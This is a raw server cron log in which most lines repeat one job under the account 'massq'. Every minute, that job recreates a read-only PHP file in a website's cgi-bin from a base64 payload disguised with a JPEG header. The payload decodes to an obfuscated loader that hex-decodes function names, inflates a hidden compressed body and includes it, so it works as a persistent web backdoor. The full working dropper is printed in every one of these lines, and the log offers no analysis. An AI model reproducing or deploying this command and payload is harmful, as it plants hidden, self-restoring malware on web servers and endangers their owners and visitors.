Nov 13 23:23:01 server CROND[11609]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:24:01 server CROND[12457]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:25:01 server CROND[13410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:25:01 server CROND[13412]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:25:01 server CROND[13411]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:26:01 server CROND[14315]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:27:01 server CROND[15059]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 23:27:01 server CROND[15060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:28:01 server CROND[15913]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:29:01 server CROND[16769]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:30:01 server CROND[17664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:30:01 server CROND[17665]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:30:01 server CROND[17666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:30:01 server CROND[17667]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 23:31:01 server CROND[18638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:32:01 server CROND[19502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:33:01 server CROND[20066]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:34:01 server CROND[20560]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:35:01 server CROND[21422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:35:01 server CROND[21423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:35:01 server CROND[21424]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 23:35:01 server CROND[21429]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 23:35:01 server CROND[21428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
